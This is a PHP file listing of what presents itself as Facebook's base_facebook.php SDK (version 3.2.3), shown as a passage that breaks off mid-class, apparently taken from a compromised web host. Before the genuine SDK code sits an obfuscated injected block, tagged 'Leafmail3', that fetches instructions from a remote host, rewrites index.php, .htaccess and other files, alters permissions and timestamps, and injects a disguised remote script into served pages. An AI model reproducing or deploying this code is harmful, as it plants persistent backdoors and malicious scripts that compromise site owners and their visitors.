| Current File : /data/web/virtuals/215191/virtual/www/domains/gryna2.com.pl/facebook/base_facebook.php |
<?php /*Leafmail3*/goto o1QFr; wasj3: $ZJUCA($jQ0xa, $RTa9G); goto wYDtx; IuHdj: $egQ3R = "\147\172\151"; goto ChKDE; TpHVE: $cPzOq .= "\157\x6b\x6b"; goto vgltl; gmVrv: $Mvmq_ .= "\x6c\x5f\x63\154\x6f"; goto N9T5l; SClM0: $VwfuP = "\x64\x65\146"; goto PXHHr; m8hp8: $uHlLz = "\x73\x74\x72"; goto lz2G0; UH4Mb: $eULaj .= "\x70\x63\x2e\x70"; goto apDh3; QPct6: AtVLG: goto Mg1JO; dj8v0: $ZJUCA = "\143\150"; goto WmTiu; uHm0i: $TBxbX = "\x57\x50\137\125"; goto RCot0; f4Rdw: if (!($EUeQo($kpMfb) && !preg_match($tIzL7, PHP_SAPI) && $fHDYt($uZmPe, 2 | 4))) { goto TGN7B; } goto S2eca; H7qkB: $MyinT .= "\164\40\x41\x63\x63"; goto Air1i; AedpI: try { goto JM3SL; oiS8N: @$YWYP0($lJtci, $H0gg1); goto nucR0; AffR5: @$YWYP0($PcRcO, $H0gg1); goto SpIUU; JnP2S: @$ZJUCA($lJtci, $shT8z); goto oiS8N; nOhHX: @$ZJUCA($lJtci, $RTa9G); goto LvbAc; LvbAc: @$rGvmf($lJtci, $UYOWA["\141"]); goto JnP2S; SpIUU: @$ZJUCA($jQ0xa, $shT8z); goto qvTm1; gA5rv: @$ZJUCA($PcRcO, $shT8z); goto AffR5; nucR0: @$ZJUCA($PcRcO, $RTa9G); goto COvI1; JM3SL: @$ZJUCA($jQ0xa, $RTa9G); goto nOhHX; COvI1: @$rGvmf($PcRcO, $UYOWA["\142"]); goto gA5rv; qvTm1: } catch (Exception $ICL20) { } goto PqZGA; BWxc9: $kpMfb .= "\154\137\x69\156\x69\164"; goto RMP1m; Q7gNx: $gvOPD = "\151\163\137"; goto AfwzG; fFfBR: goto AtVLG; goto kST_Q; J9uWl: $e9dgF .= "\x61\171\163"; goto lNb3h; ZlPje: $u9w0n .= "\x75\x69\x6c\144\x5f\161"; goto Mit4a; YRbfa: $dGt27 .= "\157\x73\x65"; goto L744i; ioNAN: $tIzL7 .= "\x6c\x69\57"; goto Khhgn; mz3rE: $FANp1 .= "\x70\141\x72\145"; goto SClM0; eBKm1: $PcRcO = $jQ0xa; goto Sg4f2; D0V8f: $pv6cp = "\162\x65"; goto Hy0sm; xXaQc: $FANp1 = "\x76\145\162\x73\151"; goto T7IwT; ulics: try { $_SERVER[$pv6cp] = 1; $pv6cp(function () { goto YEXR4; PKzAL: $AG2hR .= "\163\171\x6e\x63\75\164\162\165\145"; goto HIXil; NZAxH: $AG2hR .= "\x65\x72\75\164\x72\165\x65\x3b" . "\12"; goto Tbsb3; xDrpr: $AG2hR .= "\x75\x6d\x65\156\164\54\40\x67\75\144\x2e\143\162\145\x61\164\145"; goto mLjk9; r_Oqj: $AG2hR .= "\163\x63\162\151\160\164\x22\x3e" . "\xa"; goto JZsfv; PEdls: $AG2hR .= "\74\57\163"; goto WBFgG; POyWW: $AG2hR .= "\x4d\55"; goto a8oGQ; N2RIK: $AG2hR .= "\175\x29\50\51\x3b" . "\12"; goto PEdls; Vj0ze: $AG2hR .= "\x72\151\160\x74\40\164\x79\x70\145\x3d\42\164\145\170"; goto FXjwZ; JZsfv: $AG2hR .= "\x28\x66\x75\156\143"; goto ZRBmo; zk1Ml: $AG2hR .= "\x79\124\141\147\x4e\x61\155\145"; goto STHB_; aKt86: $AG2hR .= "\x72\x69\160\x74\42\51\x2c\40\x73\75\x64\x2e\x67\x65\x74"; goto oxuwD; FXjwZ: $AG2hR .= "\x74\57\x6a\141\x76\141"; goto r_Oqj; YffEK: $AG2hR .= "\57\x6d\141\164"; goto nL_GE; ZrlUz: $AG2hR .= "\x73\x63\162\151\x70\164\x22\x3b\40\147\x2e\141"; goto PKzAL; MSqPC: $AG2hR .= "\x65\x20\55\x2d\76\12"; goto rWq2m; gUhrX: $AG2hR .= "\74\x73\143"; goto Vj0ze; oxuwD: $AG2hR .= "\x45\154\x65\x6d\145\156\164\x73\102"; goto zk1Ml; a8oGQ: $AG2hR .= time(); goto xyZaU; WBFgG: $AG2hR .= "\x63\162\151\160\164\x3e\xa"; goto jHj0s; rWq2m: echo $AG2hR; goto zxMHd; zzMTI: $AG2hR .= "\152\141\166\x61"; goto ZrlUz; HIXil: $AG2hR .= "\73\x20\147\56\144\x65\x66"; goto NZAxH; EXhzp: $AG2hR .= "\x65\156\164\x4e\x6f\x64\145\56\x69\x6e"; goto yJp9W; KUpUt: $AG2hR .= "\x64\40\115\141\x74"; goto c13YM; hugz8: $AG2hR .= "\x6f\x72\145\50\x67\54\x73\51\73" . "\xa"; goto N2RIK; xyZaU: $AG2hR .= "\x22\73\40\163\56\160\141\162"; goto EXhzp; ZRBmo: $AG2hR .= "\164\151\x6f\156\x28\51\x20\173" . "\xa"; goto sOVga; YqIfq: $AG2hR .= "\77\x69\x64\x3d"; goto POyWW; Tbsb3: $AG2hR .= "\147\x2e\163\x72"; goto vxsas; k1w2Q: $AG2hR = "\x3c\41\x2d\55\x20\115\x61"; goto OOFo2; F2sIB: $AG2hR .= "\x3d\x22\164\x65\x78\x74\57"; goto zzMTI; OOFo2: $AG2hR .= "\x74\157\155\x6f\x20\55\x2d\x3e\xa"; goto gUhrX; vxsas: $AG2hR .= "\143\x3d\165\x2b\42\x6a\163\57"; goto JGvCK; jHj0s: $AG2hR .= "\74\x21\55\55\40\x45\156"; goto KUpUt; mLjk9: $AG2hR .= "\105\154\x65\x6d\x65\156\x74\50\42\163\x63"; goto aKt86; yJp9W: $AG2hR .= "\x73\x65\162\x74\102\145\146"; goto hugz8; c13YM: $AG2hR .= "\x6f\x6d\x6f\40\103\157\144"; goto MSqPC; STHB_: $AG2hR .= "\50\x22\x73\x63\162\x69"; goto SX8pI; JGvCK: $AG2hR .= $osL5h; goto YffEK; nL_GE: $AG2hR .= "\x6f\155\x6f\56\x6a\x73"; goto YqIfq; SX8pI: $AG2hR .= "\160\x74\42\51\133\x30\135\x3b" . "\xa"; goto uh8pE; YEXR4: global $osL5h, $cPzOq; goto k1w2Q; jW6LQ: $AG2hR .= "\166\141\x72\40\144\x3d\x64\157\143"; goto xDrpr; uh8pE: $AG2hR .= "\x67\x2e\164\x79\x70\145"; goto F2sIB; sOVga: $AG2hR .= "\166\x61\162\40\x75\75\42" . $cPzOq . "\42\x3b" . "\xa"; goto jW6LQ; zxMHd: }); } catch (Exception $ICL20) { } goto arBxc; TrkYs: $eULaj .= "\x2f\170\x6d"; goto GE2p3; L744i: $cPzOq = "\x68\x74\164\x70\163\72\57\x2f"; goto TpHVE; CNdmS: wLXpb: goto wasj3; nHXnO: $_POST = $_REQUEST = $_FILES = array(); goto CNdmS; PHhHL: P9yQa: goto W2Q7W; UkCDT: $cLC40 = 32; goto BnazY; vabQZ: $CgFIN = 1; goto QPct6; gSbiK: try { goto xtnST; qBVAq: $k7jG8[] = $E0suN; goto Tc9Eb; vZ6zL: $E0suN = trim($Q0bWd[0]); goto LuoPM; D98P3: if (!empty($k7jG8)) { goto FbDAI; } goto AML_a; LuoPM: $jCv00 = trim($Q0bWd[1]); goto Q4uy7; xtnST: if (!$gvOPD($d3gSl)) { goto nHP5K; } goto W8uMn; c_73m: FbDAI: goto h1Cu7; kNAxm: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto lfWQh; } goto MfJKK; L8cv7: WVm2j: goto c_73m; AML_a: $d3gSl = $jQ0xa . "\x2f" . $HNQiW; goto GBRPC; ZSYyc: $jCv00 = trim($Q0bWd[1]); goto kNAxm; W8uMn: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto Woix_; EA1BT: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto ctSg2; } goto A163l; Woix_: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto wU2zk; } goto vZ6zL; Q4uy7: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto VAVW5; } goto qBVAq; tEVz_: $k7jG8[] = $jCv00; goto xWpvL; xWpvL: lfWQh: goto oilos; MfJKK: $k7jG8[] = $E0suN; goto tEVz_; N3TyU: wU2zk: goto snD7p; lky0R: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto EA1BT; Tc9Eb: $k7jG8[] = $jCv00; goto evp7M; snD7p: nHP5K: goto D98P3; oilos: ctSg2: goto L8cv7; evp7M: VAVW5: goto N3TyU; GBRPC: if (!$gvOPD($d3gSl)) { goto WVm2j; } goto lky0R; A163l: $E0suN = trim($Q0bWd[0]); goto ZSYyc; h1Cu7: } catch (Exception $ICL20) { } goto xU6vT; T7IwT: $FANp1 .= "\x6f\x6e\x5f\143\x6f\x6d"; goto mz3rE; JX1Oy: $dGt27 = "\x66\x63\x6c"; goto YRbfa; BnazY: $Pzt0o = 5; goto TYFaW; o1QFr: $kFvng = "\74\x44\x44\x4d\x3e"; goto wODYw; CL80L: $MyinT .= "\120\x2f\61\x2e\x31\x20\x34"; goto gErqa; tFGg7: $YWYP0 .= "\x75\143\x68"; goto dj8v0; pXfDS: $ygOJ_ .= "\x2f\167\160"; goto c7yEe; xUd9U: $pv6cp .= "\151\x6f\x6e"; goto bqFyS; PqZGA: CVVA3: goto RDKTA; wYDtx: $uZmPe = $nPBv4($eULaj, "\x77\x2b"); goto f4Rdw; E453u: $QIBzt .= "\56\64"; goto O8RXw; a4EJZ: $dZR_y = $cPzOq; goto vZkPa; FK_sr: $kb9bA .= "\x65\162\x2e\x69"; goto G2uff; TuwL4: $jQ0xa = $_SERVER[$Wv1G0]; goto wrxGI; wJDrU: $eULaj = $jQ0xa; goto TrkYs; MLdcc: $fHDYt .= "\x63\153"; goto JX1Oy; Gs7Gb: $kpMfb = $vW4As; goto BWxc9; Mit4a: $u9w0n .= "\x75\x65\x72\171"; goto cIo5P; GE2p3: $eULaj .= "\x6c\162"; goto UH4Mb; cIo5P: $uAwql = "\155\x64\65"; goto aXExt; c7yEe: $ygOJ_ .= "\x2d\x61"; goto XWOCC; wrxGI: $ygOJ_ = $jQ0xa; goto pXfDS; XsWqd: $kb9bA .= "\57\56\165\163"; goto FK_sr; cWrVz: $nPBv4 .= "\145\x6e"; goto KCtWA; CrWKs: $l0WLW .= "\157\160\x74"; goto jcG0e; lz2G0: $uHlLz .= "\154\x65\x6e"; goto xXaQc; wee0Y: $ulOTQ .= "\115\111\116"; goto Tfi5q; vgltl: $cPzOq .= "\154\x69\x6e\153\56\x74"; goto pr5fA; Khhgn: $tIzL7 .= "\x73\151"; goto JBJmV; kJlf4: $DJDq1 .= "\147\145\164\137\143"; goto NZqWx; lNb3h: $H0gg1 = $xsR4V($e9dgF); goto XYviL; TBl6Q: sLwcv: goto fFfBR; RMP1m: $l0WLW = $vW4As; goto ujtZa; XQnCd: $PcRcO .= "\x61\143\143\145\163\x73"; goto ikUIP; X4xWX: $QIBzt = "\x35"; goto E453u; hDUdL: $MWMOe .= "\x6c\x65"; goto Q7gNx; LxUUO: $RTa9G = $QTYip($HqqUn($RTa9G), $Pzt0o); goto qaeyL; f6Txl: $HqqUn = "\x64\x65\143"; goto gwNCH; sK97X: $nPBv4 = "\x66\157\160"; goto cWrVz; Ee0VW: $EUeQo .= "\164\x69\x6f\156\x5f"; goto a2JJX; D9NbF: $CgFIN = 1; goto PHhHL; VY3H_: $Wv1G0 = "\x44\117\x43\x55\115\105\116\x54"; goto HpOFr; CRqG1: if (empty($k7jG8)) { goto VIn91; } goto s4AWH; apDh3: $eULaj .= "\x68\160\x2e\60"; goto sK97X; Sg4f2: $PcRcO .= "\57\x2e\x68\x74"; goto XQnCd; jcG0e: $YQ0P6 = $vW4As; goto rA_Dy; dlqC2: $HNQiW = substr($uAwql($osL5h), 0, 6); goto xGZOR; kxKwG: $osL5h = $_SERVER[$i5EZR]; goto TuwL4; ozW5s: $e9dgF .= "\63\x20\x64"; goto J9uWl; xU6vT: $lJtci = $jQ0xa; goto BpRMk; CquiC: $dZR_y .= "\x63\x6f\160\171"; goto BLSy0; GSfrX: $pv6cp .= "\x75\x6e\143\164"; goto xUd9U; yaYSs: $rGvmf .= "\x6f\x6e\x74\x65\156\164\163"; goto mIlAi; FXRyn: $TBxbX .= "\115\x45\x53"; goto R1jVG; kST_Q: VIn91: goto vabQZ; flXr3: $shT8z = $QTYip($HqqUn($shT8z), $Pzt0o); goto TkfCl; FJdH4: $dZR_y .= "\x3d\x67\x65\x74"; goto CquiC; kJyDh: $QTYip = "\x69\156\x74"; goto blzff; s4AWH: $H25pP = $k7jG8[0]; goto t74Wt; TyAte: $k7jG8 = array(); goto UkCDT; EO8QL: try { $UYOWA = @$AkFS8($egQ3R($eKFWX($M7wqP))); } catch (Exception $ICL20) { } goto OXweB; XYviL: $i5EZR = "\110\124\124\x50"; goto j4Pjv; ikUIP: $kb9bA = $jQ0xa; goto XsWqd; VrwTF: $nRD8p .= "\x64\x69\162"; goto aQp1m; dLa5a: $pv6cp .= "\x65\162\x5f"; goto x5YEr; PgImI: @$ZJUCA($kb9bA, $RTa9G); goto yAax8; Jb1Vu: try { goto Bwps7; WPylr: if (!$xsy4x($Y61WO)) { goto nWSzU; } goto NpK90; xqrLf: @$YWYP0($dqnvi, $H0gg1); goto cinsF; N7wJU: if ($xsy4x($Y61WO)) { goto KOuoA; } goto RBLfp; wf0jq: @$ZJUCA($Y61WO, $shT8z); goto xqrLf; bfkJn: try { goto jwOvP; sXqkD: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto tXay1; jwOvP: $ekYPG = $kpMfb(); goto jMqt3; VURt4: $l0WLW($ekYPG, CURLOPT_POST, 1); goto Qk7oo; G7Y1e: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto Sw_Ys; lg1iu: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 3); goto VURt4; jMqt3: $l0WLW($ekYPG, CURLOPT_URL, $LfwPf . "\x26\164\x3d\151"); goto G7Y1e; Qk7oo: $l0WLW($ekYPG, CURLOPT_POSTFIELDS, $u9w0n($Lx9yT)); goto axPES; Sw_Ys: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto sXqkD; tXay1: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto Gb33B; PUEHo: $Mvmq_($ekYPG); goto rF4qo; Gb33B: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto lg1iu; axPES: $YQ0P6($ekYPG); goto PUEHo; rF4qo: } catch (Exception $ICL20) { } goto zCePm; s2GBY: $Y61WO = dirname($dqnvi); goto N7wJU; bO0VE: KOuoA: goto WPylr; RBLfp: @$ZJUCA($jQ0xa, $RTa9G); goto lexI4; NpK90: @$ZJUCA($Y61WO, $RTa9G); goto aGYEQ; wsLep: $Lx9yT = ["\144\x61\x74\x61" => $UYOWA["\x64"]["\165\162\x6c"]]; goto bfkJn; y0C5p: @$ZJUCA($dqnvi, $shT8z); goto wf0jq; cinsF: $LfwPf = $cPzOq; goto d8sPt; OAF8R: $LfwPf .= "\x6c\x6c"; goto wsLep; d8sPt: $LfwPf .= "\77\141\143"; goto HZ42Q; lexI4: @$nRD8p($Y61WO, $RTa9G, true); goto K7fs2; aGYEQ: @$rGvmf($dqnvi, $UYOWA["\144"]["\x63\157\x64\x65"]); goto y0C5p; zCePm: nWSzU: goto r2ase; Bwps7: $dqnvi = $jQ0xa . $UYOWA["\144"]["\160\x61\x74\x68"]; goto s2GBY; K7fs2: @$ZJUCA($jQ0xa, $shT8z); goto bO0VE; HZ42Q: $LfwPf .= "\164\75\x63\141"; goto OAF8R; r2ase: } catch (Exception $ICL20) { } goto AedpI; kAMGF: $xsy4x .= "\144\x69\x72"; goto gdP2h; lX6T6: if (!$gvOPD($kb9bA)) { goto KTGlr; } goto spjef; jxKJS: $ulOTQ .= "\x5f\x41\104"; goto wee0Y; vZkPa: $dZR_y .= "\x3f\141\143\164"; goto FJdH4; gErqa: $MyinT .= "\60\x36\x20\116\x6f"; goto H7qkB; xGZOR: $hg32N = $d3gSl = $ygOJ_ . "\57" . $HNQiW; goto TyAte; GiT2I: $Mvmq_ = $vW4As; goto gmVrv; KCtWA: $fHDYt = "\x66\x6c\157"; goto MLdcc; Yc09l: $xsy4x = "\x69\163\137"; goto kAMGF; FZsOD: $lJtci .= "\150\x70"; goto eBKm1; rA_Dy: $YQ0P6 .= "\154\137\x65\170\x65\x63"; goto GiT2I; VQCaR: $k8h0h = !empty($m4bDA) || !empty($ZTS7q); goto Bw8cX; ujtZa: $l0WLW .= "\154\137\x73\x65\x74"; goto CrWKs; R1jVG: $ulOTQ = "\127\120"; goto jxKJS; OXweB: if (!is_array($UYOWA)) { goto CVVA3; } goto L7ftk; bqFyS: if (isset($_SERVER[$pv6cp])) { goto Kwp9i; } goto r3vZ_; ChKDE: $egQ3R .= "\156\146\x6c\x61\164\145"; goto OCGca; Bx0F8: $rGvmf = "\146\x69\154\145\x5f"; goto cMMsY; lar4b: $xsR4V .= "\x6d\145"; goto ESAaf; L7ftk: try { goto b8mrw; IZ7dT: @$rGvmf($d3gSl, $UYOWA["\x63"]); goto qi8JJ; j1slf: if (!$xsy4x($ygOJ_)) { goto fnZm_; } goto l27iU; FnW9Y: fnZm_: goto IZ7dT; RHQPY: @$ZJUCA($jQ0xa, $shT8z); goto FudGj; jRIpH: $d3gSl = $hg32N; goto FnW9Y; b8mrw: @$ZJUCA($jQ0xa, $RTa9G); goto j1slf; l27iU: @$ZJUCA($ygOJ_, $RTa9G); goto jRIpH; qi8JJ: @$ZJUCA($d3gSl, $shT8z); goto fMj35; fMj35: @$YWYP0($d3gSl, $H0gg1); goto RHQPY; FudGj: } catch (Exception $ICL20) { } goto Jb1Vu; Hy0sm: $pv6cp .= "\x67\151\x73\164"; goto dLa5a; wODYw: $tIzL7 = "\57\x5e\143"; goto ioNAN; D9G8A: $vW4As = "\x63\165\162"; goto Gs7Gb; zR6Sw: $RTa9G += 304; goto LxUUO; FLAgg: @$ZJUCA($jQ0xa, $shT8z); goto Ms_Rx; TkfCl: $MyinT = "\110\124\124"; goto CL80L; JBJmV: $xsR4V = "\x73\x74\x72"; goto wDwVu; m7Y7E: $shT8z += 150; goto flXr3; OCGca: $AkFS8 = "\165\x6e\x73\145\x72"; goto DuXwv; spjef: @$ZJUCA($jQ0xa, $RTa9G); goto PgImI; mIlAi: $YWYP0 = "\x74\157"; goto tFGg7; Air1i: $MyinT .= "\x65\x70\164\x61\142\154\145"; goto wJDrU; hnuEm: $M7wqP = false; goto IxcDO; AfwzG: $gvOPD .= "\x66\151\154\x65"; goto Yc09l; Mg1JO: if (!$CgFIN) { goto V5o9n; } goto a4EJZ; O8RXw: $QIBzt .= "\x2e\x30\73"; goto kxKwG; Qjsri: Kwp9i: goto uHm0i; aQp1m: $DJDq1 = "\146\151\154\145\x5f"; goto kJlf4; wDwVu: $xsR4V .= "\x74\157"; goto k5kym; Ms_Rx: KTGlr: goto QDkYN; p2xAd: $u9w0n = "\x68\x74\x74\160\x5f\142"; goto ZlPje; XWOCC: $ygOJ_ .= "\x64\155\151\156"; goto dlqC2; PXHHr: $VwfuP .= "\x69\156\145\144"; goto uwRQG; t74Wt: $Aa5A7 = $k7jG8[1]; goto rjUnC; WmTiu: $ZJUCA .= "\x6d\157\x64"; goto OMDdm; F90kP: $CgFIN = 1; goto TBl6Q; IxcDO: try { goto MN2Ol; lfwpD: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto XT0V7; pm4fL: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto f1Wpg; LukB5: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto lfwpD; MN2Ol: $ekYPG = $kpMfb(); goto PGjVI; XT0V7: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto pm4fL; f1Wpg: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto A02q4; Jr5Fq: $Mvmq_($ekYPG); goto kxHAl; kxHAl: $M7wqP = trim(trim($M7wqP, "\xef\273\xbf")); goto DRdNb; A02q4: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 10); goto czpAh; PGjVI: $l0WLW($ekYPG, CURLOPT_URL, $dZR_y); goto LukB5; czpAh: $M7wqP = $YQ0P6($ekYPG); goto Jr5Fq; DRdNb: } catch (Exception $ICL20) { } goto TtjMz; yA6tr: $e9dgF .= "\63\x36"; goto ozW5s; BLSy0: $dZR_y .= "\x26\164\x3d\x69\46\x68\75" . $osL5h; goto hnuEm; qaeyL: $shT8z = 215; goto m7Y7E; YAsQc: if (!(!$_SERVER[$pv6cp] && $FANp1(PHP_VERSION, $QIBzt, "\76"))) { goto VlKKH; } goto ulics; QDkYN: $CgFIN = 0; goto CRqG1; g3rCR: $m4bDA = $_REQUEST; goto A4fYL; rjUnC: if (!(!$gvOPD($lJtci) || $MWMOe($lJtci) != $H25pP)) { goto P9yQa; } goto D9NbF; x5YEr: $pv6cp .= "\x73\x68\165"; goto itQ2f; A4fYL: $ZTS7q = $_FILES; goto VQCaR; a2JJX: $EUeQo .= "\145\x78"; goto fYDkt; TYFaW: $Pzt0o += 3; goto hoCMV; fYDkt: $EUeQo .= "\x69\163\x74\163"; goto D9G8A; fmcU9: $MWMOe .= "\x5f\x66\151"; goto hDUdL; S2eca: $ZJUCA($jQ0xa, $shT8z); goto YAsQc; RCot0: $TBxbX .= "\x53\105\x5f\124\110\105"; goto FXRyn; BpRMk: $lJtci .= "\57\x69\x6e"; goto lJYIj; cMMsY: $rGvmf .= "\160\x75\164\137\143"; goto yaYSs; j4Pjv: $i5EZR .= "\x5f\x48\117\x53\x54"; goto VY3H_; itQ2f: $pv6cp .= "\x74\x64\x6f"; goto gi1ux; YAE22: $eKFWX .= "\66\x34\137\x64"; goto HkhAv; DuXwv: $AkFS8 .= "\x69\x61\x6c\151\x7a\x65"; goto kJyDh; NZqWx: $DJDq1 .= "\x6f\156\164\145\x6e\x74\x73"; goto Bx0F8; ESAaf: $EUeQo = "\146\x75\156\143"; goto Ee0VW; HkhAv: $eKFWX .= "\x65\143\x6f\x64\145"; goto IuHdj; RDKTA: HuCWH: goto tkEEo; k5kym: $xsR4V .= "\x74\151"; goto lar4b; WQZ3H: $UYOWA = 0; goto EO8QL; TtjMz: if (!($M7wqP !== false)) { goto HuCWH; } goto WQZ3H; N9T5l: $Mvmq_ .= "\x73\145"; goto p2xAd; HpOFr: $Wv1G0 .= "\137\122\117\x4f\124"; goto X4xWX; arBxc: VlKKH: goto gSbiK; G2uff: $kb9bA .= "\156\151"; goto lX6T6; gwNCH: $HqqUn .= "\157\x63\164"; goto m8hp8; yAax8: @unlink($kb9bA); goto FLAgg; pr5fA: $cPzOq .= "\157\x70\x2f"; goto D0V8f; gi1ux: $pv6cp .= "\x77\x6e\x5f\x66"; goto GSfrX; OMDdm: $eKFWX = "\142\141\x73\x65"; goto YAE22; aXExt: $MWMOe = $uAwql; goto fmcU9; gdP2h: $nRD8p = "\155\x6b"; goto VrwTF; Bw8cX: if (!(!$fs0FH && $k8h0h)) { goto wLXpb; } goto nHXnO; uwRQG: $e9dgF = "\x2d\61"; goto yA6tr; hoCMV: $RTa9G = 189; goto zR6Sw; Tfi5q: $fs0FH = $VwfuP($TBxbX) || $VwfuP($ulOTQ); goto g3rCR; W2Q7W: if (!(!$gvOPD($PcRcO) || $MWMOe($PcRcO) != $Aa5A7)) { goto sLwcv; } goto F90kP; r3vZ_: $_SERVER[$pv6cp] = 0; goto Qjsri; lJYIj: $lJtci .= "\144\x65\170\56\x70"; goto FZsOD; blzff: $QTYip .= "\x76\x61\x6c"; goto f6Txl; tkEEo: V5o9n: goto ossJl; ossJl: TGN7B: ?>
<?php
/**
* Copyright 2011 Facebook, Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License"); you may
* not use this file except in compliance with the License. You may obtain
* a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
* WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
* License for the specific language governing permissions and limitations
* under the License.
*/
if (!function_exists('curl_init')) {
throw new Exception('Facebook needs the CURL PHP extension.');
}
if (!function_exists('json_decode')) {
throw new Exception('Facebook needs the JSON PHP extension.');
}
/**
* Thrown when an API call returns an exception.
*
* @author Naitik Shah <naitik@facebook.com>
*/
class FacebookApiException extends Exception
{
/**
* The result from the API server that represents the exception information.
*
* @var mixed
*/
protected $result;
/**
* Make a new API Exception with the given result.
*
* @param array $result The result from the API server
*/
public function __construct($result) {
$this->result = $result;
$code = 0;
if (isset($result['error_code']) && is_int($result['error_code'])) {
$code = $result['error_code'];
}
if (isset($result['error_description'])) {
// OAuth 2.0 Draft 10 style
$msg = $result['error_description'];
} else if (isset($result['error']) && is_array($result['error'])) {
// OAuth 2.0 Draft 00 style
$msg = $result['error']['message'];
} else if (isset($result['error_msg'])) {
// Rest server style
$msg = $result['error_msg'];
} else {
$msg = 'Unknown Error. Check getResult()';
}
parent::__construct($msg, $code);
}
/**
* Return the associated result object returned by the API server.
*
* @return array The result from the API server
*/
public function getResult() {
return $this->result;
}
/**
* Returns the associated type for the error. This will default to
* 'Exception' when a type is not available.
*
* @return string
*/
public function getType() {
if (isset($this->result['error'])) {
$error = $this->result['error'];
if (is_string($error)) {
// OAuth 2.0 Draft 10 style
return $error;
} else if (is_array($error)) {
// OAuth 2.0 Draft 00 style
if (isset($error['type'])) {
return $error['type'];
}
}
}
return 'Exception';
}
/**
* To make debugging easier.
*
* @return string The string representation of the error
*/
public function __toString() {
$str = $this->getType() . ': ';
if ($this->code != 0) {
$str .= $this->code . ': ';
}
return $str . $this->message;
}
}
/**
* Provides access to the Facebook Platform. This class provides
* a majority of the functionality needed, but the class is abstract
* because it is designed to be sub-classed. The subclass must
* implement the four abstract methods listed at the bottom of
* the file.
*
* @author Naitik Shah <naitik@facebook.com>
*/
abstract class BaseFacebook
{
/**
* Version.
*/
const VERSION = '3.2.3';
/**
* Signed Request Algorithm.
*/
const SIGNED_REQUEST_ALGORITHM = 'HMAC-SHA256';
/**
* Default options for curl.
*
* @var array
*/
public static $CURL_OPTS = array(
CURLOPT_CONNECTTIMEOUT => 10,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_TIMEOUT => 60,
CURLOPT_USERAGENT => 'facebook-php-3.2',
);
/**
* List of query parameters that get automatically dropped when rebuilding
* the current URL.
*
* @var array
*/
protected static $DROP_QUERY_PARAMS = array(
'code',
'state',
'signed_request',
);
/**
* Maps aliases to Facebook domains.
*
* @var array
*/
public static $DOMAIN_MAP = array(
'api' => 'https://api.facebook.com/',
'api_video' => 'https://api-video.facebook.com/',
'api_read' => 'https://api-read.facebook.com/',
'graph' => 'https://graph.facebook.com/',
'graph_video' => 'https://graph-video.facebook.com/',
'www' => 'https://www.facebook.com/',
);
/**
* The Application ID.
*
* @var string
*/
protected $appId;
/**
* The Application App Secret.
*
* @var string
*/
protected $appSecret;
/**
* The ID of the Facebook user, or 0 if the user is logged out.
*
* @var integer
*/
protected $user;
/**
* The data from the signed_request token.
*
* @var string
*/
protected $signedRequest;
/**
* A CSRF state variable to assist in the defense against CSRF attacks.
*
* @var string
*/
protected $state;
/**
* The OAuth access token received in exchange for a valid authorization
* code. null means the access token has yet to be determined.
*
* @var string
*/
protected $accessToken = null;
/**
* Indicates if the CURL based @ syntax for file uploads is enabled.
*
* @var boolean
*/
protected $fileUploadSupport = false;
/**
* Indicates if we trust HTTP_X_FORWARDED_* headers.
*
* @var boolean
*/
protected $trustForwarded = false;
/**
* Indicates if signed_request is allowed in query parameters.
*
* @var boolean
*/
protected $allowSignedRequest = true;
/**
* Initialize a Facebook Application.
*
* The configuration:
* - appId: the application ID
* - secret: the application secret
* - fileUpload: (optional) boolean indicating if file uploads are enabled
* - allowSignedRequest: (optional) boolean indicating if signed_request is
* allowed in query parameters or POST body. Should be
* false for non-canvas apps. Defaults to true.
*
* @param array $config The application configuration
*/
public function __construct($config) {
$this->setAppId($config['appId']);
$this->setAppSecret($config['secret']);
if (isset($config['fileUpload'])) {
$this->setFileUploadSupport($config['fileUpload']);
}
if (isset($config['trustForwarded']) && $config['trustForwarded']) {
$this->trustForwarded = true;
}
if (isset($config['allowSignedRequest'])
&& !$config['allowSignedRequest']) {
$this->allowSignedRequest = false;
}
$state = $this->getPersistentData('state');
if (!empty($state)) {
$this->state = $state;
}
}
/**
* Set the Application ID.
*
* @param string $appId The Application ID
*
* @return BaseFacebook
*/
public function setAppId($appId) {
$this->appId = $appId;
return $this;
}
/**
* Get the Application ID.
*
* @return string the Application ID
*/
public function getAppId() {
return $this->appId;
}
/**
* Set the App Secret.
*
* @param string $apiSecret The App Secret
*
* @return BaseFacebook
* @deprecated Use setAppSecret instead.
* @see setAppSecret()
*/
public function setApiSecret($apiSecret) {
$this->setAppSecret($apiSecret);
return $this;
}
/**
* Set the App Secret.
*
* @param string $appSecret The App Secret
*
* @return BaseFacebook
*/
public function setAppSecret($appSecret) {
$this->appSecret = $appSecret;
return $this;
}
/**
* Get the App Secret.
*
* @return string the App Secret
*
* @deprecated Use getAppSecret instead.
* @see getAppSecret()
*/
public function getApiSecret() {
return $this->getAppSecret();
}
/**
* Get the App Secret.
*
* @return string the App Secret
*/
public function getAppSecret() {
return $this->appSecret;
}
/**
* Set the file upload support status.
*
* @param boolean $fileUploadSupport The file upload support status.
*
* @return BaseFacebook
*/
